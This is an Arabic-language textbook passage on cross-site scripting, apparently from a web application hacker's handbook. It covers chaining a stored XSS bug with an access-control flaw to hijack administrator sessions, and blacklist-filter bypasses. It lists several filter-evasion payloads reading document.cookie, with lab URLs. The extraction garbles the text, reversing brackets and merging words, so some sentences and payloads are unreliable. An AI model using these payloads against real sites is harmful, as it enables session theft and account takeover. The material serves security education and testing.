ﻳﻄُﺒﻖَّﺍﻟﺘﺴﻠﻴﻢ ﺧﺎﺭﺝ ﺍﻟﻨﻄﺎﻕ ﻓﻲ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺰُﻭﺩَّ ﻓﻴﻬﺎ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻌُﺮﺿَّﺔ ﻟﻠﺜﻐﺮﺓ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ
ﻋﺒﺮﻗﻨﺎﺓ ﺃﺧﺮﻯ .ﻳﺴﺘﻘﺒﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻋﺒﺮ ﻫﺬﻩ ﺍﻟﻘﻨﺎﺓ ،ﺛﻢ ﻳﻘُﺪﻣِّﻬﺎ ﻓﻲ ﺍﻟﻨﻬﺎﻳﺔ ﺿﻤﻦ ﺻﻔﺤﺎﺕ
HTMLﺍﻟﺘﻲ ﺗﻮُﻟﺪَّ ﺩﺍﺧﻞ ﻭﺍﺟﻬﺘﻪ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻋﻠﻰ ﺍﻟﻮﻳﺐ .ﻭﻣﻦ ﺃﻣﺜﻠﺔ ﺁﻟﻴﺔ ﺍﻟﺘﺴﻠﻴﻢ ﻫﺬﻩ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺬﻱ
ﺳﺒﻖﻭﺻﻔﻪ ﺿﺪ ﺗﻄﺒﻴﻘﺎﺕ ﺑﺮﻳﺪ ﺍﻟﻮﻳﺐ .ﻳﺘﻀﻤﻦ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ ﺿﺎﺭﺓ ﺇﻟﻰ ﺧﺎﺩﻡ SMTP
،ﻭﺍﻟﺘﻲ ﺗﻌُﺮﺽَ ﻓﻲ ﺍﻟﻨﻬﺎﻳﺔ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺿﻤﻦ ﺭﺳﺎﻟﺔ ﺑﺮﻳﺪ ﺇﻟﻜﺘﺮﻭﻧﻲ ﺑﺘﻨﺴﻴﻖ .HTML
ﻗﺪﺗﺘﺮﺍﺑﻂ ﻋﻴﻮﺏ XSSﺃﺣﻴﺎﻧﺎً ﻣﻊ ﺛﻐﺮﺍﺕ ﺃﺧﺮﻯ ،ﻣﻤﺎ ﻳﺴُﺒﺐ ﺃﺿﺮﺍﺭﺍً ﺑﺎﻟﻐﺔ .ﻭﺍﺟﻪ ﺍﻟﺒﺎﺣﺜﻮﻥ ﺗﻄﺒﻴﻘﺎً
ﻳﺤﺘﻮﻱﻋﻠﻰ ﺛﻐﺮﺓ XSSﻣﺨُﺰﻧّﺔ ﺿﻤﻦ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻛﺎﻥ ﺍﻟﻐﺮﺽ ﺍﻟﻮﺣﻴﺪ ﻣﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ
ﻫﻮﻋﺮﺽ ﺭﺳﺎﻟﺔ ﺗﺮﺣﻴﺐ ﺷﺨﺼﻴﺔ ﺑﻌﺪ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻟﻢ ﻳﻌُﺮﺽ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ
ﻟﻤﺴﺘﺨﺪﻣﻲﺍﻟﺘﻄﺒﻴﻖ ﺍﻵﺧﺮﻳﻦ ،ﻟﺬﺍ ﺑﺪﺍ ﻓﻲ ﺍﻟﺒﺪﺍﻳﺔ ﺃﻧﻪ ﻻ ﻳﻮﺟﺪ ﺃﻱ ﻣﻨﻔﺬ ﻫﺠﻮﻣﻲ ﻳﻤُﻜﻦّ
ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﻣﻦ ﺍﻟﺘﺴﺒﺐ ﻓﻲ ﻣﺸﺎﻛﻞ ﻋﻦ ﻃﺮﻳﻖ ﺗﻌﺪﻳﻞ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻓﻲ ﺣﺎﻝ ﺛﺒﺎﺕ ﺟﻤﻴﻊ
ﺍﻟﻌﻮﺍﻣﻞﺍﻷﺧﺮﻯ ،ﺗﺼُﻨﻒّ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻋﻠﻰ ﺃﻧﻬﺎ ﻣﻨﺨﻔﻀﺔ ﺍﻟﺨﻄﻮﺭﺓ ﺟﺪﺍً.
ﻭﻣﻊﺫﻟﻚ ،ﻛﺎﻧﺖ ﻫﻨﺎﻙ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﺛﺎﻧﻴﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ .ﻛﺎﻥ ﺧﻠﻞ ﻓﻲ ﺿﻮﺍﺑﻂ ﺍﻟﻮﺻﻮﻝ ﻳﻌﻨﻲ ﺃﻥ
ﺃﻱﻣﺴﺘﺨﺪﻡ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻪ ﺗﻌﺪﻳﻞ ﺍﺳﻢ ﺍﻟﻌﺮﺽ ﺍﻟﺨﺎﺹ ﺑﺄﻱ ﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ .ﻭﻣﺮﺓ ﺃﺧﺮﻯ ،ﻟﻢ ﺗﻜﻦ
ﻟﻬﺬﻩﺍﻟﻤﺸﻜﻠﺔ ﺃﻫﻤﻴﺔ ﺗﺬُﻛﺮ ﻓﻲ ﺣﺪ ﺫﺍﺗﻬﺎ :ﻟﻤﺎﺫﺍ ﻗﺪ ﻳﻬﺘﻢ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺘﻐﻴﻴﺮ ﺃﺳﻤﺎء ﺍﻟﻌﺮﺽ ﺍﻟﺨﺎﺻﺔ
ﺑﻤﺴﺘﺨﺪﻣﻴﻦﺁﺧﺮﻳﻦ؟
ﺃﺩﻯﺭﺑﻂ ﻫﺎﺗﻴﻦ ﺍﻟﺜﻐﺮﺗﻴﻦ ﺍﻷﻣﻨﻴﺘﻴﻦ ﻣﻨﺨﻔﻀﺘﻲ ﺍﻟﺨﻄﻮﺭﺓ ﻣﻌﺎً ﺇﻟﻰ ﺗﻤﻜﻴﻦ ﺍﻟﻤﻬﺎﺟﻢ ﻣﻦ ﺍﺧﺘﺮﺍﻕ
ﺍﻟﺘﻄﺒﻴﻖﺑﺎﻟﻜﺎﻣﻞ .ﻛﺎﻥ ﻣﻦ ﺍﻟﺴﻬﻞ ﺃﺗﻤﺘﺔ ﻫﺠﻮﻡ ﻟﺤﻘﻦ ﻧﺺ ﺑﺮﻣﺠﻲ ﻓﻲ ﺍﺳﻢ ﺍﻟﻌﺮﺽ ﺍﻟﺨﺎﺹ ﺑﻜﻞ
ﻣﺴﺘﺨﺪﻡﻟﻠﺘﻄﺒﻴﻖ .ﻳﻨُﻔﺬ ﻫﺬﺍ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﻓﻲ ﻛﻞ ﻣﺮﺓ ﻳﺴُﺠﻞ ﻓﻴﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺩﺧﻮﻟﻪ ﺇﻟﻰ
ﺍﻟﺘﻄﺒﻴﻖ،ﻭﻳﻨﻘﻞ ﺭﻣﺰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺇﻟﻰ ﺧﺎﺩﻡ ﻳﻤﻠﻜﻪ ﺍﻟﻤﻬﺎﺟﻢ .ﻛﺎﻥ ﺑﻌﺾ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ
ﻣﺴﺆﻭﻟﻴﻦﺇﺩﺍﺭﻳﻴﻦ ،ﻭﻛﺎﻧﻮﺍ ﻳﺴﺠﻠﻮﻥ ﺍﻟﺪﺧﻮﻝ ﺑﺸﻜﻞ ﻣﺘﻜﺮﺭ ،ﻭﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻬﻢ ﺇﻧﺸﺎء ﻣﺴﺘﺨﺪﻣﻴﻦ ﺟﺪﺩ
ﻭﺗﻌﺪﻳﻞﺍﻣﺘﻴﺎﺯﺍﺕ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ .ﻛﺎﻥ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺑﺒﺴﺎﻃﺔ ﺍﻧﺘﻈﺎﺭ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﺍﻟﻤﺴﺆﻭﻝ،
ﺛﻢﺍﻻﺳﺘﻴﻼء ﻋﻠﻰ ﺟﻠﺴﺔ ﺍﻟﻤﺴﺆﻭﻝ ،ﺛﻢ ﺗﺮﻗﻴﺔ ﺣﺴﺎﺑﻪ ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﺍﻣﺘﻴﺎﺯﺍﺕ ﺇﺩﺍﺭﻳﺔ .ﻣﺜﻠّﺖ
ﺍﻟﺜﻐﺮﺗﺎﻥﻣﻌﺎً ﺧﻄﺮﺍً ﺟﺴﻴﻤﺎً ﻋﻠﻰ ﺃﻣﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ.
ﻓﻲﻣﺜﺎﻝ ﺁﺧﺮ ،ﻳﻤﻜﻦ ﺗﺤﺪﻳﺚ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻋﺮُﺿﺖ ﻓﻘﻂ ﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺬﻱ ﺃﺭﺳﻠﻬﺎ ﻋﺒﺮ
ﻫﺠﻮﻡﺗﺰﻭﻳﺮ ﻃﻠﺐ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ .(13ﻛﻤﺎ ﺍﺣﺘﻮﺕ ﻋﻠﻰ ﺛﻐﺮﺓ XSSﻣﺨُﺰﻧّﺔ .ﻣﺮﺓ ﺃﺧﺮﻯ،
ﻋﻨﺪﺍﻟﻨﻈﺮ ﺇﻟﻰ ﻛﻞ ﺧﻄﺄ،
451 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﻗﺪﻳﻨُﻈﺮ ﺇﻟﻰ ﺍﻟﻤﺨﺎﻃﺮ ﺍﻟﻤﻨﺨﻔﻀﺔ ﻧﺴﺒﻴﺎً ﻋﻠﻰ ﺃﻧﻬﺎ ﻓﺮﺩﻳﺔ؛ ﻭﻣﻊ ﺫﻟﻚ ،ﻋﻨﺪﻣﺎ ﻳﺘﻢ ﺍﺳﺘﻐﻼﻟﻬﺎ ﻣﻌﺎً ،ﻓﻘﺪ
ﻳﻜﻮﻥﻟﻬﺎ ﺗﺄﺛﻴﺮ ﺣﺎﺳﻢ.
ﺃﺳﻄﻮﺭﺓﺷﺎﺉﻌﺔ
ﻟﺴﻨﺎﻗﻠﻘﻴﻦ ﺑﺸﺄﻥ ﺛﻐﺮﺓ XSSﻣﻨﺨﻔﻀﺔ ﺍﻟﺨﻄﻮﺭﺓ .ﻗﺪ ﻳﺴﺘﻐﻠﻬﺎ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻟﻤﻬﺎﺟﻤﺔ ﻧﻔﺴﻪ ﻓﻘﻂ.
ﺣﺘﻰﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﺘﻲ ﺗﺒﺪﻭ ﻣﻨﺨﻔﻀﺔ ﺍﻟﺨﻄﻮﺭﺓ ،ﻓﻲ ﻇﻞ ﺍﻟﻈﺮﻭﻑ ﺍﻟﻤﻨﺎﺳﺒﺔ ،ﻗﺪ ﺗﻤُﻬﺪّ
ﺍﻟﻄﺮﻳﻖﻟﻬﺠﻮﻡ ﻣﺪُﻣﺮّ .ﻳﺘﻄﻠﺐ ﺍﺗﺒﺎﻉ ﻧﻬﺞ ﺩﻓﺎﻋﻲ ﻣﻌُﻤﻖّ ﻓﻲ ﺍﻷﻣﻦ ﺇﺯﺍﻟﺔ ﺟﻤﻴﻊ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ
ﺍﻟﻤﻌﺮﻭﻓﺔ،ﻣﻬﻤﺎ ﺑﺪﺕ ﺗﺎﻓﻬﺔ .ﺣﺘﻰ ﺃﻥ ﺍﻟﻤﺆﻟﻔﻴﻦ ﺍﺳﺘﺨﺪﻣﻮﺍ ﺛﻐﺮﺍﺕ XSSﻹﺿﺎﻓﺔ ﻣﺮﺑﻌﺎﺕ ﺣﻮﺍﺭ
ﻣﺘﺼﻔﺢﺍﻟﻤﻠﻔﺎﺕ ﺃﻭ ﻋﻨﺎﺻﺮ ﺗﺤﻜﻢ ActiveXﺇﻟﻰ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺼﻔﺤﺔ ،ﻣﻤﺎ ﻳﺴُﺎﻋﺪ ﻋﻠﻰ ﺍﺧﺘﺮﺍﻕ ﻧﻈﺎﻡ
ﺍﻟﻜﺸﻚﺍﻟﻤﺮﺗﺒﻂ ﺑﺘﻄﺒﻴﻖ ﻭﻳﺐ ﻣﺴُﺘﻬﺪﻑ .ﺍﻓﺘﺮﺽ ﺩﺍﺉﻤﺎً ﺃﻥ ﺍﻟﻤﻬُﺎﺟﻢ ﺳﻴﻜﻮﻥ ﺃﻛﺜﺮ ﺇﺑﺪﺍﻋﺎً ﻣﻨﻚ ﻓﻲ
ﺍﺑﺘﻜﺎﺭﻃﺮﻕ ﻻﺳﺘﻐﻼﻝ ﺍﻷﺧﻄﺎء ﺍﻟﺒﺴﻴﻄﺔ!
ﺍﻟﻨﻬﺞﺍﻷﺳﺎﺳﻲ ﻟﺘﺤﺪﻳﺪ ﺛﻐﺮﺍﺕ XSSﻫﻮ ﺍﺳﺘﺨﺪﺍﻡ ﺳﻠﺴﻠﺔ ﻫﺠﻮﻡ ﺇﺛﺒﺎﺕ ﺍﻟﻤﻔﻬﻮﻡ ﺍﻟﻘﻴﺎﺳﻴﺔ ﻣﺜﻞ ﻣﺎ
ﻳﻠﻲ:
ﻳﺮُﺳﻞَﻫﺬﺍ ﺍﻟﻨﺺ ﻛﻤﻌﺎﻣﻞ ﻟﻜﻞ ﺻﻔﺤﺔ ﻣﻦ ﺻﻔﺤﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﺗﺮُﺍﻗﺐَ ﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﻟﺮﺻﺪ
ﻇﻬﻮﺭﻩ.ﺇﺫﺍ ﻭﺟُﺪِﺕ ﺣﺎﻻﺕ ﺗﻈﻬﺮ ﻓﻴﻬﺎ ﺳﻠﺴﻠﺔ ﺍﻟﻬﺠﻮﻡ ﺩﻭﻥ ﺗﻌﺪﻳﻞ ﺿﻤﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ،ﻓﻤﻦ ﺷﺒﻪ
ﺍﻟﻤﺆﻛﺪﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﺮﺽ ﻟﺨﻄﺮ .XSS
ﺇﺫﺍﻛﺎﻥ ﻫﺪﻓﻚ ﻫﻮ ﻣﺠﺮﺩ ﺍﻟﺘﻌﺮﻑﺑﻌﺾﺇﺫﺍ ﻛﻨﺖ ﺗﺮﻏﺐ ﻓﻲ ﺍﺳﺘﺨﺪﺍﻡ ﺛﻐﺮﺍﺕ XSSﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ
ﺑﺄﺳﺮﻉﻭﻗﺖ ﻣﻤﻜﻦ ﻟﺸﻦ ﻫﺠﻮﻡ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻵﺧﺮﻳﻦ ،ﻓﺈﻥ ﻫﺬﺍ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﻫﻮ
ﻋﻠﻰﺍﻷﺭﺟﺢ ﺍﻷﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ،ﻟﺴﻬﻮﻟﺔ ﺃﺗﻤﺘﺘﻪ ﻭﺗﻘﻠﻴﻞ ﺍﻟﻨﺘﺎﺉﺞ ﺍﻹﻳﺠﺎﺑﻴﺔ ﺍﻟﺨﺎﻃﺉﺔ .ﻭﻣﻊ ﺫﻟﻚ ،ﺇﺫﺍ ﻛﺎﻥ
ﻫﺪﻓﻚﻫﻮ ﺇﺟﺮﺍء ﺍﺧﺘﺒﺎﺭ ﺷﺎﻣﻞ ﻟﻠﺘﻄﺒﻴﻖ ﻟﺘﺤﺪﻳﺪ ﺃﻛﺒﺮ ﻋﺪﺩ ﻣﻤﻜﻦ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﻔﺮﺩﻳﺔ،
ﻓﻴﺠﺐﺍﺳﺘﻜﻤﺎﻝ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﺑﺘﻘﻨﻴﺎﺕ ﺃﻛﺜﺮ ﺗﻄﻮﺭﺍً .ﻫﻨﺎﻙ ﻋﺪﺓ ﻃﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻗﺪ ﺗﻈﻬﺮ ﺑﻬﺎ
ﺛﻐﺮﺍﺕ XSSﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﺍﻟﺘﻲ ﻟﻦ ﻳﺘﻢ ﺗﺤﺪﻳﺪﻫﺎ ﻣﻦ ﺧﻼﻝ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﻟﻠﻜﺸﻒ:
ﺗﺴﺘﺨﺪﻡﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻣﺮﺷﺤﺎﺕ ﺑﺪﺍﺉﻴﺔ ﻗﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﻘﺎﺉﻤﺔ ﺍﻟﺴﻮﺩﺍء ﻓﻲ -
ﻣﺤﺎﻭﻟﺔﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ .XSSﺗﺒﺤﺚ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﻋﺎﺩﺓ ًﻋﻦ ﺗﻌﺒﻴﺮﺍﺕ ﻣﺜﻞ >ﻧﺺ<ﺿﻤﻦ
ﻣﻌﻠﻤﺎﺕﺍﻟﻄﻠﺐ ،ﻭﺍﺗﺨﺎﺫ ﺇﺟﺮﺍءﺍﺕ ﺩﻓﺎﻋﻴﺔ ﻣﺜﻞ ﺇﺯﺍﻟﺔ ﺍﻟﺘﻌﺒﻴﺮ ﺃﻭ ﺗﺮﻣﻴﺰﻩ ﺃﻭ ﺣﻈﺮ ﺍﻟﻄﻠﺐ .ﻏﺎﻟﺒﺎً
ﻣﺎﺗﺤﻈﺮ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺳﻼﺳﻞ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ ﻋﺎﺩﺓ ًﻓﻲ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﻟﻠﻜﺸﻒ.
ﻭﻣﻊﺫﻟﻚ ،ﻟﻤﺠﺮﺩ ﺃﻥ ﻫﺠﻮﻣﺎً ﻭﺍﺣﺪﺍً ﺷﺎﺉﻌﺎً
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 452
ﺇﺫﺍﺗﻢ ﺗﺼﻔﻴﺔ ﺍﻟﺴﻠﺴﻠﺔ ،ﻓﻬﺬﺍ ﻻ ﻳﻌﻨﻲ ﻋﺪﻡ ﻭﺟﻮﺩ ﺛﻐﺮﺓ ﻗﺎﺑﻠﺔ ﻟﻼﺳﺘﻐﻼﻝ .ﻛﻤﺎ ﺳﺘﺮﻯ ،ﻫﻨﺎﻙ
ﺣﺎﻻﺕﻳﻤﻜﻦ ﻓﻴﻬﺎ ﺇﻧﺸﺎء ﺍﺳﺘﻐﻼﻝ XSSﻓﻌﺎﻝ ﺩﻭﻥ ﺍﺳﺘﺨﺪﺍﻡ >ﻧﺺ<ﺍﻟﻌﻼﻣﺎﺕ ﻭﺣﺘﻰ ﺑﺪﻭﻥ
ﺍﺳﺘﺨﺪﺍﻡﺍﻷﺣﺮﻑ ﺍﻟﻤﻔﻠﺘﺮﺓ ﺑﺸﻜﻞ ﺷﺎﺉﻊ ﻣﺜﻞ "> < ﻭ."/
ﻋﻠﻴﻬﺎﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺗﻄﺒﻴﻘﺎً ﻳﺰﻳﻞ ﺃﻱ >ﻧﺺ<ﻋﻼﻣﺎﺕ ﻣﻦ
ﺇﺩﺧﺎﻝﺍﻟﻤﺴﺘﺨﺪﻡ ﻗﺒﻞ ﻣﻌﺎﻟﺠﺘﻬﺎ .ﻫﺬﺍ ﻳﻌﻨﻲ ﺃﻥ ﺳﻠﺴﻠﺔ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ ﻓﻲ ﺍﻟﻨﻬﺞ
ﺍﻷﺳﺎﺳﻲﻟﻦ ﺗﻌُﺎﺩ ﻓﻲ ﺃﻱ ٍّﻣﻦ ﺍﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ .ﻭﻣﻊ ﺫﻟﻚ ،ﻗﺪ ﺗﺘﺠﺎﻭﺯ ﺳﻠﺴﻠﺔ ﺃﻭ ﺃﻛﺜﺮ ﻣﻦ
ﺍﻟﺴﻼﺳﻞﺍﻟﺘﺎﻟﻴﺔ ﺍﻟﻔﻠﺘﺮ ﻭﺗﺆﺩﻱ ﺇﻟﻰ ﺍﺳﺘﻐﻼﻝ XSSﻧﺎﺟﺢ:
</scr>/script<ipt< %00"<>script<alert)document.cookie(>/script
>(/script%3e "<>scr>script<ipt<alert)document.cookie
/ScRiPt< "%3e%3cscript%3ealert)document.cookie(%3c
>("<>script <alert)document.cookie(>/script< "<>ScRiPt<alert)document.cookie
ﺟﺮﺑﻬﺎ!
/36/ http://mdsec.net/search/21/
/search/28/ http://mdsec.net/search
http://mdsec.net
ﺗﺠﺪﺭﺍﻹﺷﺎﺭﺓ ﺇﻟﻰ ﺃﻧﻪ ﻓﻲ ﺑﻌﺾ ﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ ،ﻗﺪ ﺗﻌُﻘﻢّ ﺳﻠﺴﻠﺔ ﺍﻹﺩﺧﺎﻝ ،ﺃﻭ ﺗﻔُﻜﻚّ ،ﺃﻭ ﺗﻌُﺪﻝّ ﺑﺄﻱ
ﻃﺮﻳﻘﺔﺃﺧﺮﻯ ﻗﺒﻞ ﺇﺭﺟﺎﻋﻬﺎ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ،ﻭﻣﻊ ﺫﻟﻚ ﻗﺪ ﺗﻜﻮﻥ ﻛﺎﻓﻴﺔ ًﻻﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ .XSSﻓﻲ
ﻫﺬﻩﺍﻟﺤﺎﻟﺔ ،ﻟﻦ ﺗﻨﺠﺢ ﺃﻱ ﻃﺮﻳﻘﺔ ﻛﺸﻒ ﻗﺎﺉﻤﺔ ﻋﻠﻰ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﻣﺤُﺪﺩّﺓ ﻭﺍﻟﺘﺤﻘﻖ ﻣﻦ ﻇﻬﻮﺭﻫﺎ
ﻓﻲﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻓﻲ ﺍﻛﺘﺸﺎﻑ ﺍﻟﺜﻐﺮﺓ.
ﻓﻲﺣﺎﻻﺕ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺍﺕ XSSﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ،DOMﻻ ﺗﻌُﺎﺩ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﺑﺎﻟﻀﺮﻭﺭﺓ ﻓﻲ
ﺍﺳﺘﺠﺎﺑﺔﺍﻟﺨﺎﺩﻡ ،ﺑﻞ ﺗﺤُﻔﻆ ﻓﻲ DOMﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﺘﺼﻔﺢ ،ﻭﻳﻤُﻜﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ ﻣﻦ ﻫﻨﺎﻙ
ﺑﻮﺍﺳﻄﺔ JavaScriptﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻟﻦ ﺗﻨﺠﺢ ﺃﻱ ﻃﺮﻳﻘﺔ ﺗﻌﺘﻤﺪ ﻋﻠﻰ ﺇﺭﺳﺎﻝ
ﺳﻠﺴﻠﺔﻧﺼﻴﺔ ﻣﺤﺪﺩﺓ ﻭﺍﻟﺘﺤﻘﻖ ﻣﻦ ﻇﻬﻮﺭﻫﺎ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻓﻲ ﺍﻛﺘﺸﺎﻑ ﺍﻟﺜﻐﺮﺓ.
ﻗﻢﺑﺘﺤﺪﻳﺪ ﺟﻤﻴﻊ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺘﻲ ﻳﻨﻌﻜﺲ ﻓﻴﻬﺎ ﻫﺬﺍ ﺍﻟﺴﻠﺴﻠﺔ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ. -
453 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺑﺎﻟﻨﺴﺒﺔﻟﻜﻞ ﺍﻧﻌﻜﺎﺱ ،ﺣﺪﺩ ﺍﻟﺴﻴﺎﻕ ﺍﻟﻨﺤﻮﻱ ﺍﻟﺬﻱ ﺗﻈﻬﺮ ﻓﻴﻪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ. -
ﺇﺭﺳﺎﻝﺑﻴﺎﻧﺎﺕ ﻣﻌﺪﻟﺔ ﺗﺘﻨﺎﺳﺐ ﻣﻊ ﺍﻟﺴﻴﺎﻕ ﺍﻟﻨﺤﻮﻱ ﻟﻠﺘﺄﻣﻞ ،ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﻹﺩﺧﺎﻝ ﻧﺺ -
ﻋﺸﻮﺍﺉﻲﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ.
ﺇﺫﺍﺗﻢ ﺣﻈﺮ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ ﺃﻭ ﺗﻄﻬﻴﺮﻫﺎ ،ﻣﻤﺎ ﻳﻤﻨﻊ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ ﺑﻚ، -
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
.١ﺍﺧﺘﺮ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻓﺮﻳﺪﺓ ﻻ ﺗﻈﻬﺮ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ،ﻭﺗﺤﺘﻮﻱ ﻓﻘﻂ ﻋﻠﻰ ﺃﺣﺮﻑ
ﺃﺑﺠﺪﻳﺔ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻣﻦ ﻏﻴﺮ ﺍﻟﻤﺮﺟﺢ ﺃﻥ ﺗﺘﺄﺛﺮ ﺑﺄﻱ ﻣﺮﺷﺤﺎﺕ ﺧﺎﺻﺔ ﺑـ .XSSﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ:
ﺍﺧﺘﺒﺎﺭmyxsstestdmqlwp
